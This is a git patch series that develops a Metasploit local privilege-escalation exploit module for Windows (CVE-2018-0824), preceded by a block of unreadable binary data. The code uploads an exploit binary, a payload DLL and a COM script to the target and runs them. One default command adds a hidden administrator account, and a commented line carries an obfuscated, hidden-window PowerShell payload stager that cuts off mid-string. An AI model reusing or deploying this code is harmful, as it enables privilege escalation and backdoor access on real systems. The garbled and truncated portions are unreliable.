zRkqs)V+z3w4ZBb6Sn8Df(e-H53r$0j2PgG=6nU@ILtlOXL++5!PCy4IsGK3tcoexa zskyYJ9$1XKANi%wXOeLJ*8+-RxR;PslHq07)|58=jye=c-8iu6nM zEW<&=FEtlM9-P!N+ENGMXB)CdM?+skxqiiV_iUayj*?n9AXw;!7L7=|WtlAv#)$mzKr8nyxT z;den}QEFj(pyN@#fgJ~(jZz1DE_5}D>>=M;7?%i_p{FD;Qs^xdIb45+KC@E|*Qn<-?X_LF{_@Nc z{-9}pM5#bh4Rqvgb@rp7NhtD2rG6>>=*DlLnR`^PWJBjYkN+O+2<~=h+r8)sv=au6 z-;bFNw$x?^aVe2whfYJ0?My$2Yp{*59s0zJI0Gc*Lq9)+u@3ti=$4l-x5JiNgCfsN z>g>a+Cla8OkKh@A953{fqj*qZ2N$7rC~_M19MiNyl+Lg#p|vOpK7ceDQ9Q758BWZsJjk{CMc< zf1(>J*s3@Dz=JZbAve zXW)G3izt=*F#n%|@e_*dmImmnHuMN8pMqutW2dmC{xJl@4R#ImSSS{cXy_vJ$>!)C z__shWwZ!#>|1$JyYwQgETIgU0+Q9W50)4v;ZfN+cpf`N&FwRlo2DF1y9cgFi1Qc0e zB6K;5Jo~lKauj)>mC)(!(Ku$$3}_ijG1{qsP6=1-BtSQz)F9_)s5=7rcwR`&LaD~G z-6xIXG60ZTBMT}>y+K=QD1M?Q{Zf0-mO6#D)CAg6SJ9Tbown5Dw53*c!1$Mq!qC2C zKWUbotxZLGwu9f)tB0fHji5xh< z9qCF=U%VnIHGS!r$a!-o-w_+>%F4!v!Njx`>B(avS0!gfjvL!DbaY}?R`T)((^eVv zS48g)10!9_6Vp?dBxhyMzrC@s#V0+l>i0G5)Arl + @@ -29,7 +29,7 @@ Application true - v141 + v120 Unicode @@ -42,13 +42,13 @@ Application true - v141 + v120 Unicode Application false - v141 + v120 true Unicode @@ -138,6 +138,7 @@ true NDEBUG;_CONSOLE;%(PreprocessorDefinitions) true + MultiThreaded Console diff --git a/modules/exploits/windows/local/unmarshal.rb b/modules/exploits/windows/local/unmarshal.rb index dcc1197e22..3aff817681 100644 --- a/modules/exploits/windows/local/unmarshal.rb +++ b/modules/exploits/windows/local/unmarshal.rb @@ -2,10 +2,18 @@ # Current source: https://github.com/rapid7/metasploit-framework ## +require 'msf/core/post/common' +require 'msf/core/post/file' +require 'msf/core/post/windows/priv' +require 'msf/core/post/windows/registry' +require 'msf/core/exploit/exe' + class MetasploitModule < Msf::Exploit::Local Rank = ExcellentRanking + include Msf::Post::Common include Msf::Post::File - include Msf::Post::Windows::Registry + include Msf::Post::Windows::Priv + include Msf::Exploit::EXE def initialize(info = {}) super(update_info(info, @@ -30,105 +38,153 @@ class MetasploitModule < Msf::Exploit::Local 'DisclosureDate' => 'Aug 05 2018', 'Arch' => [ARCH_X64], 'SessionTypes' => ['meterpreter'], - 'License' => MSF_LICENSE + 'Platform' => ['win'], + 'Targets' => + [ + ['Windows x64', { 'Arch' => ARCH_X64 }] + ], + 'License' => MSF_LICENSE, + 'DefaultOptions' => + { + 'DisablePayloadHandler' => 'False' + } )) register_options( [ - OptString.new('POCCMD', [true, 'The command to run from poc.sct', '/k net user msfadmin P@ssw0rd /add && net localgroup administrators msfadmin /add']), - OptString.new('READFILE', [ false, 'Read a remote file: ', 'C:\\Windows\\boot.ini' ]) + OptString.new('EXPLOIT_NAME', + [false, 'The filename to use for the exploit binary (%RAND% by default).', nil]), + OptString.new('SCRIPT_NAME', + [false, 'The filename to use for the COM script file (%RAND% by default).', nil]), + OptString.new('PAYLOAD_NAME', + [false, 'The filename for the payload dll be used on the target host.', nil]), + OptString.new('PATH', + [false, 'Path to write binaries (%TEMP% by default).', nil]), ]) end - def write_poc_to_target(rpoc, rpocname) + def setup + super + validate_active_host + @exploit_name = datastore['EXPLOIT_NAME'] || Rex::Text.rand_text_alpha((rand(8) + 6)) + @payload_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha((rand(8) + 6)) + @script_name = datastore['SCRIPT_NAME'] || Rex::Text.rand_text_alpha((rand(8) + 6)) + @exploit_name = "#{exploit_name}.exe" unless exploit_name.match(/\.exe$/i) + @payload_name = "#{payload_name}.dll" unless payload_name.match(/\.dll$/i) + @script_name = "#{script_name}.sct" unless payload_name.match(/\.sct$/i) + @temp_path = datastore['PATH'] || session.sys.config.getenv('TEMP') + @payload_path = "#{temp_path}\\#{payload_name}" + @exploit_path = "#{temp_path}\\#{exploit_name}" + @script_path = "#{temp_path}\\#{script_name}" + @payload_dll = generate_payload_dll + end + + def validate_active_host + begin + print_status("Attempting to PrivEsc on #{sysinfo['Computer']} via session ID: #{datastore['SESSION']}") + rescue Rex::Post::Meterpreter::RequestError => e + elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}") + raise Msf::Exploit::Failed, 'Could not connect to session' + end + end + + def validate_remote_path(path) + unless directory?(path) + fail_with(Failure::Unreachable, "#{path} does not exist on the target") + end + end + + def validate_target + if sysinfo['Architecture'] == ARCH_X86 + fail_with(Failure::NoTarget, 'Exploit code is 64-bit only') + end + if sysinfo['OS'] =~ /XP/ + fail_with(Failure::Unknown, 'The exploit binary does not support Windows XP') + end + end + + def ensure_clean_destination(path) + if file?(path) + print_status("#{path} already exists on the target. Deleting...") begin - print_warning("writing to %TEMP%") - temppoc = session.fs.file.expand_path("%TEMP%") + "\\" + rpocname - write_sct_to_target(temppoc,rpoc) + file_rm(path) + print_status("Deleted #{path}") + rescue Rex::Post::Meterpreter::RequestError => e + elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}") + print_error("Unable to delete #{path}") end - - print_good("Persistent Script written to #{temppoc}") - temppoc - end - - def write_sct_to_target(temppoc,rpoc) - fd = session.fs.file.new(temppoc, "w") - fd.write(rpoc) - fd.close + end end - def app_poc_on_target(append,rpocname) - appendpoc = session.fs.file.expand_path("%TEMP%") + "\\" + rpocname - fd = session.fs.file.new(appendpoc, "a") - fd.write(append) - fd.close - end - - def create_sct_file(txt) - print_status("Reading Payload from file #{txt}") - ::IO.read(txt) - end - - def write_exe_to_target(rexe, rexename) - begin - print_warning("writing to %TEMP%") - temprexe = session.fs.file.expand_path("%TEMP%") + "\\" + rexename - write_file_to_target(temprexe,rexe) - end - print_good("Persistent Script written to #{temprexe}") - temprexe - end - - def write_file_to_target(temprexe,rexe) - fd = session.fs.file.new(temprexe, "wb") - fd.write(rexe) - fd.close - end - - def create_payload_from_file(exec) - print_status("Reading Payload from file #{exec}") - ::IO.read(exec) - end - - def run - rexename = Rex::Text.rand_text_alphanumeric(10) + ".exe" - print_status("exe name is: #{rexename}") - rpocname = Rex::Text.rand_text_alphanumeric(10) + ".sct" - print_status("poc name is: #{rpocname}") - poccmd = datastore['POCCMD'] - cmdcheck = datastore['CMDCHECK'] - - rexe = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2018-0824', 'UnmarshalPwn.exe') - raw = create_payload_from_file rexe - script_on_target = write_exe_to_target(raw, rexename) - rpoc = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2018-0824', 'poc_header') - rawsct = create_sct_file rpoc - poc_on_target = write_poc_to_target(rawsct, rpocname) - - cmdpoc = session.fs.file.expand_path("%TEMP%") + "\\" + rpocname - fd = session.fs.file.new(cmdpoc, "a") - fd.write(poccmd) - fd.close - - rpoc1 = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2018-0824', 'poc_footer') - append = create_payload_from_file rpoc1 - append_on_target = app_poc_on_target(append, rpocname) - - print_status('Starting module...') - print_line('') - - command = session.fs.file.expand_path("%TEMP%") + "\\" + rexename - print_status("Location of UnmarshalPwn.exe is: #{command}") - command1 = session.fs.file.expand_path("%TEMP%") + "\\" + rpocname - print_status("Location of poc.sct is: #{command1}") - - command += " " - command += "#{command1}" - - print_status("Executing command : #{command}") - command_output = cmd_exec(command) - print_line(command_output) - print_line('') - + def upload_exploit + local_exploit_path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2018-0824', 'UnmarshalPwn.exe') + upload_file(exploit_path, local_exploit_path) + print_status("Exploit uploaded on #{sysinfo['Computer']} to #{exploit_path}") end + + def upload_payload + write_file(payload_path, payload_dll) + print_status("Payload (#{payload_dll.length} bytes) uploaded on #{sysinfo['Computer']} to #{payload_path}") + end + + def upload_script + vprint_status("Creating the sct file with payload #{payload_path}") + local_script_template_path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2018-0824', 'script_template') + script_template_data = ::IO.read(local_script_template_path) + temp_path = payload_path + print_status("Payload path: #{temp_path}") + temp_path.gsub!('\\', '\\\\\\\\') + print_status("Payload path: #{temp_path}") + vprint_status("script_template_data.length = #{script_template_data.length}") + command = 'cmd.exe /c rundll32.exe ' + payload_path.gsub("\\", "\\\\\\\\") + ',0' +# script_data = script_template_data.sub!('SCRIPTED_COMMAND', command) + script_data = script_template_data.sub!('SCRIPTED_COMMAND', command) + if script_data == nil + fail_with(Failure::BadConfig, "Failed to substitute command in script_template") + end + vprint_status("Writing #{script_data.length} bytes to #{script_path} to target") + write_file(script_path, script_data) + vprint_status('Script uploaded successfully') + end + + def exploit + print_status("exploit path is: #{exploit_path}") + print_status("payload path is: #{payload_path}") + print_status("script path is: #{script_path}") + begin + validate_active_host + validate_target + validate_remote_path(temp_path) + ensure_clean_destination(exploit_path) + ensure_clean_destination(payload_path) + ensure_clean_destination(script_path) + vprint_status("Uploading Payload to #{payload_path}") + upload_payload + vprint_status("Uploading Script to #{script_path}") + upload_script + vprint_status("Uploading Exploit to #{exploit_path}") + upload_exploit + vprint_status('Launching Exploit...') + command_output = cmd_exec(exploit_path + ' ' + script_path) + vprint_status(command_output) + print_good('Exploit completed, wait for elevated session') + rescue Rex::Post::Meterpreter::RequestError => e + elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}") + print_good('Exploit failed, cleaning up') + print_error(e.message) + ensure_clean_destination(exploit_path) + ensure_clean_destination(payload_path) + ensure_clean_destination(script_path) + end + end + + attr_reader :exploit_name + attr_reader :payload_name + attr_reader :script_name + attr_reader :payload_dll + attr_reader :temp_path + attr_reader :exploit_path + attr_reader :payload_path + attr_reader :script_path end + From eeec3c115e762efec49faf19297252951b05c485 Mon Sep 17 00:00:00 2001 From: bwatters-r7 Date: Fri, 19 Oct 2018 16:12:47 -0500 Subject: [PATCH 16/20] This is as far as I can take it for an exploit module but it still does not work. Commiting for posterity. --- modules/exploits/windows/local/unmarshal.rb | 15 +++++++++------ 1 file changed, 9 insertions(+), 6 deletions(-) diff --git a/modules/exploits/windows/local/unmarshal.rb b/modules/exploits/windows/local/unmarshal.rb index 3aff817681..71bbfa7171 100644 --- a/modules/exploits/windows/local/unmarshal.rb +++ b/modules/exploits/windows/local/unmarshal.rb @@ -131,14 +131,17 @@ class MetasploitModule < Msf::Exploit::Local vprint_status("Creating the sct file with payload #{payload_path}") local_script_template_path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2018-0824', 'script_template') script_template_data = ::IO.read(local_script_template_path) - temp_path = payload_path - print_status("Payload path: #{temp_path}") - temp_path.gsub!('\\', '\\\\\\\\') - print_status("Payload path: #{temp_path}") vprint_status("script_template_data.length = #{script_template_data.length}") - command = 'cmd.exe /c rundll32.exe ' + payload_path.gsub("\\", "\\\\\\\\") + ',0' -# script_data = script_template_data.sub!('SCRIPTED_COMMAND', command) +# command = '%COMSPEC% /b /c start /b /min powershell.exe -nop -w hidden -e aQBmACgAWwBJAG4AdABQAHQAcgBdADoAOgBTAGkAegBlACAALQBlAHEAIAA0ACkAewAkAGIAPQAkAGUAbgB2ADoAdwBpAG4AZABpAHIAKwAnAFwAcwB5AHMAbgBhAHQAaQB2AGUAXABXAGkAbgBkAG8AdwBzAFAAbwB3AGUAcgBTAGgAZQBsAGwAXAB2ADEALgAwAFwAcABvAHcAZQByAHMAaABlAGwAbAAuAGUAeABlACcAfQBlAGwAcwBlAHsAJABiAD0AJwBwAG8AdwBlAHIAcwBoAGUAbABsAC4AZQB4AGUAJwB9ADsAJABzAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ARABpAGEAZwBuAG8AcwB0AGkAYwBzAC4AUAByAG8AYwBlAHMAcwBTAHQAYQByAHQASQBuAGYAbwA7ACQAcwAuAEYAaQBsAGUATgBhAG0AZQA9ACQAYgA7ACQAcwAuAEEAcgBnAHUAbQBlAG4AdABzAD0AJwAtAG4AbwBwACAALQB3ACAAaABpAGQAZABlAG4AIAAtAGMAIAAmACgAWwBzAGMAcgBpAHAAdABiAGwAbwBjAGsAXQA6ADoAYwByAGUAYQB0AGUAKAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABJAE8ALgBTAHQAcgBlAGEAbQBSAGUAYQBkAGUAcgAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABJAE8ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ALgBHAHoAaQBwAFMAdAByAGUAYQBtACgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAASQBPAC4ATQBlAG0AbwByAHkAUwB0AHIAZQBhAG0AKAAsAFsAQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJwAnAEgANABzAEkAQQBIAFMAeQB5AEYAcwBDAEEANwBWAFcALwBXACsAYgBPAEIAagArAGUAWgBYADYAUAA2AEEAcABVAGsARABMAEUAdABLAG0AdgBhADMAUwBwAEkATQBFAEcAcgBLAFEASgB1AFcAcgBhAFIAZABOAEYAQgB4AHcAWQB6AEEARgAwAHkAUwA5ADIALwA5ACsAcgAwAG4AbwB1AGwAdAAzAHQANQAxADAASwBCAEcAMgBlAFQAKwBmADkANwBGAGYATAA4AHMAMABZAEoAaQBtAHcAbABLADUAMQBKAG4AdwB4ACsASABCAHEANgBtAGYAKwA0AGsAZwBOAGgASwB6AEoAVABRAGUAeAA5AE8AWgA5AE8AbwBWAEwARABlAFcAbgA0AFUAUABnAG4AaQBqAFoATgBtAEEASgBqADUATwBGADIAZABuAC8AVABMAFAAVQBjAHAAMgA4AC8AWQA1AFkAawBwAFIAbwBPAFMAVwBZAEYAUwBJAGsAdgBDAG4ANABNAFUAbwBSADIAOAB2AGIAdQA5AFEAQQBMAGEARgB4AHUAZgAyAE8AYQBHADMAUAB0AG0ATABiAGYAdAArAEUAQwBQAGgAcgBaAEsARwAvAE4AdQBZAEIAagA2AFAAcABXADEAbABCAEQATwB4ACsAZQBsAFQAVQA3AHAANQAyADEAMgAwAHQAZgB2AFMASgA0AFgAWQB0AEwAWQBGAFEAMABrADcASgBLAFEAcABDAFYAOABrADcAdABEAGUAWgBrAGgAcwBtAGoAagBJAGEAVQBHAFgAcgBPADMAaAA5AFAAaQBvADcAYQBTAEYAdgAwAFEAVABzAFAAYQBBAFQATQBSAGkARwBoAFoATgBDAFgASwBBAFgANAA1AFkAbQBhAGMAQwBaAE0AUABWAGQAeAAvAEYASgBnAHkAbgBPAFEAMgBVAE0ATQB4AFIAVQBUAFIAYgB3AGcAMAAzAGYATABOAFkALwBDADcAZQA3AEwAMQBlAGwAaQBuAEQAQwBXAG8AYgBLAFUATQA1AHoAUwB5AFUAUAArAEEAQQBGAGUAMgBoAG4ANABZAEUAWABhAEwAbABBAHIAUQBzAGwAdQBNADAAVwBrAGcAUwBpAEQAMwBRAEYAUgBJAGIAYQBVAGwASQBTAC8AZwBWAE0AKwBJAEUAcgBXAHYATQBmAGwAWgBKAGYASwA0AEUAVQBsAE8AVwBTAHkAMgBvADQAWABkAFoAbQBqAFEAcwBDAGQAcgBwAE4AVgA4AEkARQA2AG8AdQB3AFYATgBYAEgAawBEADcAYwBuAGgAdwBlAEwAQwBzAGEAWgBLAEYAeQBuAE8AUwB3AE8AagBWAFQAVABWAEcARQBKAGsANABwAFEAVwB1AHgARAA0AEkAYwBrAHMAdwB3AFkAdgBQAGEATAA2AEYAYQBjAFAATwBTAHkAUQB0AG4AbgBBAFYARwB0AEcAdwA5AFcAUAB0AGIAaQAwAEsAZwBnAC8ANABDAGwAWgB1AFgASQByAEQAQgBXAGoAcwA2ADkAagBJAHoARwA3AEUAMQAzAC8ATQB4AHcARgBhADQAaABRAE4AdABxAG0AZgA0AEsAQwBtAG4AUABnAFMAdgBHAGgASgBVAEoAVgBmAHUAeABhAGIAUQBFAHgAaQBjAC8AOABCAGgAUQBOAEUAVQBPAFEAegBEAGgAbQB2ADgAbgBkAHEAVwBvAEwAWgBrADYANQBhAFkAaABLAGkAWABBAG0AZwBSAEEAVgBFAEIAZABXAFQAdgBnADEAbQBWAHcAVwB4AGEAYQBRAG0AUwBnAEMAZwAzAFIAeABvADEAMQBnAEMAMABWAEUAdAB2AFMAZgAzAHQAdgBiAE8ANQB5AEQAVQA3AEIATwAvAEsARgByAEMAdABJAFMAZABGAHIAUQBFAEMALwBrAEUAaABTADEAQgBTAFEAdQA4AC8ANgBTAFUAagBGAGIARAA1AHQAZAB3AHoAWgBJAHcASABQAGcARgBxADgAMAB0AHAAQgByAEgAdgBiADgAKwBUAFEAdQBXAGwAdwBIAFUARABIAEsAMwByAFEAdwBGADIAQwBjAGMAaQBwAFkAdwB4AEMARgBTAHQAeABhAE8AYQByAC8ATgBGADQASABvACsANABUAEEARABnAEIATABEADEAQQBJAFcATwBFAEEAVwBJAHcAegBJAFkAYwBRAG8AZQBwAFMAMgAwAEwATQBTAEQASwBDAEUAcABDAG8ATgByAHgATwAvAEEAaQAyADkANQA3AGwARgBYAEgAOABDAEkAWABOAHYAOABkAFgAOAAzAGgASABXAG8ANQBFAEQAYwBHAHoANgBLAEMAOABGAHEARwBzAEoAYgBnADQAWgAzAEIAdQBjAEYAUwBCAFEAdgAvAEYAOQA3AFAAagBvAG8AcQBpAG4ANgBOADkARgBjAFIANgBZADkAeQBvAFcAOABiADUAMwBMAGcAUABPAEIAbgAzAGcARgBUAHAANQB3AHgAUwAxADMATwBhAHEASAA2AEIAVABuAHUANwBvADAARgA4ADMAZABIAHcANABHAFEANgBvAEkAOABLAFAASgBwACsATwBYAE4AVgB5ADMARwB2AEQAVABNAGMARQBjAHQAZwAxAGwAegBEAFkAeQBlAE8ARABkAHcAMQBJAHAAaAB2AEgAUwAyAGEATQBqAG4ANwBhAE4AdgBEAGsAVABVAFkASwB2AGwAZwBFAHkAOABWAG8AegBDADAAbwBiAHEAZABkAFYAVQBsAEcATwBMAGYAMwBKAEgAcQBPAEsAQwBIACsAKwBQAFoAMwBjAFoAUQBRAGoAVwBKAHIAcQBKADUAZgAyADEATQA0AHkAcwBEAEgAUABYAEgAawBSAEgAQgBXAHoAWABpAFEASgBXAHYANQBVAGkAVgA5AGYANwBZAFUAbQBNAE4AeQAwAHAAawB6AFkAYQB6AFgAdgBmAGEANgBMAHcAagBLAG4ANgAwAEQARQBzAFoAZQBrAC8AKwBuAHYAeABvAHYAZAA3AHcAYQBtAE0AcgBFADMATwBrAHgAUABwAEYAcQBIAGUAUAA5AEUAcAAvAHgAZgBXAHYAVgArAGYAagBnAFYAYgBOAEEAegA2AGYAegBRAHMATgBhACsAQgBIADAAKwBjAHoATgAwAGEAZQBtADYAbQBlAHAAbAAvAFAAMwBNAHkASQAzAHEAeQBqAG0AVAB2AHUAOQBQAFIAWQBoAFgAVQBEAGIAOABhAFoAMQBZAEcAbgAyAHcAVQBjAG0ARwAzAGQAbgBoAHoANwAzAGsAbAAyAG0ANwBnAHkAWQBPAFIAWgBSAGgAcABiAHcAYgBKAHYARAA0AE4ARQA3AFgAUgBjAHAAegBzAHgATQBOAEoAdABiAHkAVgB2ADEAcABxADgAMgBiAG8AVAAwAEsARwBuAGIAcABxAGsASABGAFoAbAAyAG4ARgBQADEAVwBxADAAdQBiAEMATgAwAHIAVABuAHYAZgBHAGQAOQBqAGkAeABlAGgAdgBUADEAaABSAHYAaABVAGQAcgBKAHgAMgB1AHAAdwBXAEEAbwBrADcATQBnAE4AagBPAEUAUgAwADQAYwBuAEwAcQA5AHAATABsAGgAawBPAGwARABEAHAAZABGAEMAMwA1AGEASAB5AHMAagBzAEsAcgA2ADYAMwB2AGIAZQA1AGMAWgAzAFQAdgBlAHUAYQBKAG0AOABiADMAawArAE4ATABOAGsAdABEADkAZABhAGQAUABaAG8AawBkAGgAUQBOADcATABvAFQASAAvAEsAdABiAEYAcgBqAFMARABIAHYAKwAxAG8AVgBpAGEANwBhAGoAZwB3ACsAUwArAGEATwA3AHgANAA2AFgAUQBlAFAATgBnAG4AOQBlAEMAWABqADAAVAB1AFAATABqADAAeQBvAHQASABBAEIARQA0AGsAbwA5ADQANQAxAFcAWQB1AEcAWgBXAHAAZQA1ADcAUwBlAGEAWABlAGUAZQArAEMAVABkAFgAbQBzAGIAOQB6AEkARwBkAG4AbgB6AGYAZwBNAHAANwBOADUAdwBoAHcAZwBkAHAAMgBoAC8ATABkAGMARAAyAFAAYgBNAGgAcgBWAEsANwBzADkAUQBRAHAAdABUADcAVQA5ADcAMgBzAGwATwBYADkAcQBlADUAdwBMAHQAaQBlAGwAdwBFAFcAeQBVAGcARwBEAG0AawBhAHgASwBZAG8AcwAwAHEAUAA0AEoAWAB6AHgAbgBuAFMAVwAzAFgAQgBqADUARwBtADgATgAvAEEAMwB3AGUAZgBRAEMAbQBsAGkAdgBXAE4AawA1AHgAcQBtAFQALwBxADEAWgBnADUAZQBMAEQAcAA5AC8AWAAxADAATgBwAGUAMAAyAEkASQBYAEIAcgB3AHUARwBSAHkATgAvAEQATwBxAGUASgB4ADMAQgAvADYAWABVAHAAdQBPADkAMwBaAGgAdwArAHYAKwBVADYARAByAGQAYgBZAHIASgBMAHoAWgAzAHYAbwBSAHoAMwBQADkAUABNAGkAOQBnAG4AcwBMAFcAaABuADkAVgBHAG0AMAAxAHoAZgB0ADYAZwBwAHgAVgB4AEQARgBIAGMAMwBtAGgAWABLAFUAMABUAGcAVABnAEMAMwBoAHYAcABJAFUAQQBpAGgAQQBlACsAUAB2AEoAdABCAGEAOQA0ADEAVABOADYALwBIAFIAZwBlAEgANwAwADQAawBvAFEAbgBRAGUAbAByADQANgB5AFgAegBzADYAdQBJAFUAbwA0AFoATwA2AEQAOQBoAGkAbABFAFkAdABiADgAdQBaAFkAbABxAEUATgB5AHAAdQBlAEQARABuACsAZgBGADUAOQBtAG0AMQBGAE0ATgBUAGkAVABiAFMAQwBaAFcAZQBYAFYASABZAGwAZgB1AHcAMAAwAG8ARgBqACsAdgA4AHoAVwB2AHYAagBMAG8AWgBYACsAQwA5AG8AZgBWADMANwBoADYAOAAvAGgAYQBEAGMAMgBtAFgAOAAzAGYASwAzAEMANwA4AEUANgBLACsAbgA3AHYAbQBZAGcAYQBnAEYASgB6AFoAQgB1ADgAdgBDAGkAdwBqAHMAcQBmAEgAOABJAHMAVQBMAEEANwBWAGYANwBoADkAKwBEAGIANABvADIAZABzAEoAWABMAEEATwBEAC8ANABDADUANABxAFoARwBXADgATABBAEEAQQA9ACcAJwApACkAKQAsAFsASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAE0AbwBkAGUAXQA6ADoARABlAGMAbwBtAHAAcgBlAHMAcwApACkAKQAuAFIAZQBhAGQAVABvAEUAbgBkACgAKQApACkAJwA7ACQAcwAuAFUAcwBlAFMAaABlAGwAbABFAHgAZQBjAHUAdABlAD0AJABmAGEAbABzAGUAOwAkAHMALgBSAGUAZABpAHIAZQBjAHQAUwB0AGEAbgBkAGEAcgBkAE8AdQB0AHAAdQB0AD0AJAB0AHIAdQBlADsAJABzAC4AVwBpAG4AZABvAHcAUwB0AHkAbABlAD0AJwBIAGkAZABkAGUAbgAnADsAJABzAC4AQwByAGUAYQB0AGUATgBvAFcAaQBuAGQAbwB3AD0AJAB0AHIAdQBlADsAJABwAD0AWwBTAHkAcwB0AGUAbQAuAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAXQA6ADoAUwB0AGEAcgB0ACgAJABzACkAOwA=' +# command = 'cmd.exe /c \\\"C:\\\\\\\\Program files\WindowsPowerShell\\\\\\\\Modules\\\\\\\\Pester\\\\\\\\3.4.0\\\\\\\\bin\\\\\\\\Pester.bat\\\" /help \\\"$null; c:\\\\\\\\Users\\\\\\\\msfuser\\\\\\\\downloads\\\\\\\\test.exe' +# command = 'C:\Users\msfuser\Downloads\test.bat' +# command.gsub!('\\', '\\\\\\\\') + command = 'C:\users\msfuser\downloads\test.exe' +# command = 'copy /Y C:\\users\\msfuser\\downloads\\test.exe C:\\windows\\system32\\notepad.exe.bak' +# command.gsub!('\\', '\\\\\\\\\\\\') script_data = script_template_data.sub!('SCRIPTED_COMMAND', command) +# script_data = script_template_data.sub!('SCRIPTED_COMMAND', 'C:\\\\\\\\windows\\\\\\\\system32\\\\\\\\test.exe') +# script_data = script_template_data.sub!('SCRIPTED_COMMAND', 'C:\\\\\\\\Users\\\\\\\\msfuser\\\\\\\\Downloads\\\\\\\\putty.exe') if script_data == nil fail_with(Failure::BadConfig, "Failed to substitute command in script_template") end From a6be9e573f88f77fab15895bb5dda42c4855cffc Mon Sep 17 00:00:00 2001 From: bwatters-r7 Date: Fri, 19 Oct 2018 16:30:21 -0500 Subject: [PATCH 17/20] Should have saved the actual file... --- modules/exploits/windows/local/unmarshal.rb | 10 +--------- 1 file changed, 1 insertion(+), 9 deletions(-) diff --git a/modules/exploits/windows/local/unmarshal.rb b/modules/exploits/windows/local/unmarshal.rb index 71bbfa7171..bdd9485e86 100644 --- a/modules/exploits/windows/local/unmarshal.rb +++ b/modules/exploits/windows/local/unmarshal.rb @@ -132,16 +132,8 @@ class MetasploitModule < Msf::Exploit::Local local_script_template_path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2018-0824', 'script_template') script_template_data = ::IO.read(local_script_template_path) vprint_status("script_template_data.length = #{script_template_data.length}") -# command = '%COMSPEC% /b /c start /b /min powershell.exe -nop -w hidden -e aQBmACgAWwBJAG4AdABQAHQAcgBdADoAOgBTAGkAegBlACAALQBlAHEAIAA0ACkAewAkAGIAPQAkAGUAbgB2ADoAdwBpAG4AZABpAHIAKwAnAFwAcwB5AHMAbgBhAHQAaQB2AGUAXABXAGkAbgBkAG8AdwBzAFAAbwB3AGUAcgBTAGgAZQBsAGwAXAB2ADEALgAwAFwAcABvAHcAZQByAHMAaABlAGwAbAAuAGUAeABlACcAfQBlAGwAcwBlAHsAJABiAD0AJwBwAG8AdwBlAHIAcwBoAGUAbABsAC4AZQB4AGUAJwB9ADsAJABzAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ARABpAGEAZwBuAG8AcwB0AGkAYwBzAC4AUAByAG8AYwBlAHMAcwBTAHQAYQByAHQASQBuAGYAbwA7ACQAcwAuAEYAaQBsAGUATgBhAG0AZQA9ACQAYgA7ACQAcwAuAEEAcgBnAHUAbQBlAG4AdABzAD0AJwAtAG4AbwBwACAALQB3ACAAaABpAGQAZABlAG4AIAAtAGMAIAAmACgAWwBzAGMAcgBpAHAAdABiAGwAbwBjAGsAXQA6ADoAYwByAGUAYQB0AGUAKAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABJAE8ALgBTAHQAcgBlAGEAbQBSAGUAYQBkAGUAcgAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABJAE8ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ALgBHAHoAaQBwAFMAdAByAGUAYQBtACgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAASQBPAC4ATQBlAG0AbwByAHkAUwB0AHIAZQBhAG0AKAAsAFsAQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJwAnAEgANABzAEkAQQBIAFMAeQB5AEYAcwBDAEEANwBWAFcALwBXACsAYgBPAEIAagArAGUAWgBYADYAUAA2AEEAcABVAGsARABMAEUAdABLAG0AdgBhADMAUwBwAEkATQBFAEcAcgBLAFEASgB1AFcAcgBhAFIAZABOAEYAQgB4AHcAWQB6AEEARgAwAHkAUwA5ADIALwA5ACsAcgAwAG4AbwB1AGwAdAAzAHQANQAxADAASwBCAEcAMgBlAFQAKwBmADkANwBGAGYATAA4AHMAMABZAEoAaQBtAHcAbABLADUAMQBKAG4AdwB4ACsASABCAHEANgBtAGYAKwA0AGsAZwBOAGgASwB6AEoAVABRAGUAeAA5AE8AWgA5AE8AbwBWAEwARABlAFcAbgA0AFUAUABnAG4AaQBqAFoATgBtAEEASgBqADUATwBGADIAZABuAC8AVABMAFAAVQBjAHAAMgA4AC8AWQA1AFkAawBwAFIAbwBPAFMAVwBZAEYAUwBJAGsAdgBDAG4ANABNAFUAbwBSADIAOAB2AGIAdQA5AFEAQQBMAGEARgB4AHUAZgAyAE8AYQBHADMAUAB0AG0ATABiAGYAdAArAEUAQwBQAGgAcgBaAEsARwAvAE4AdQBZAEIAagA2AFAAcABXADEAbABCAEQATwB4ACsAZQBsAFQAVQA3AHAANQAyADEAMgAwAHQAZgB2AFMASgA0AFgAWQB0AEwAWQBGAFEAMABrADcASgBLAFEAcABDAFYAOABrADcAdABEAGUAWgBrAGgAcwBtAGoAagBJAGEAVQBHAFgAcgBPADMAaAA5AFAAaQBvADcAYQBTAEYAdgAwAFEAVABzAFAAYQBBAFQATQBSAGkARwBoAFoATgBDAFgASwBBAFgANAA1AFkAbQBhAGMAQwBaAE0AUABWAGQAeAAvAEYASgBnAHkAbgBPAFEAMgBVAE0ATQB4AFIAVQBUAFIAYgB3AGcAMAAzAGYATABOAFkALwBDADcAZQA3AEwAMQBlAGwAa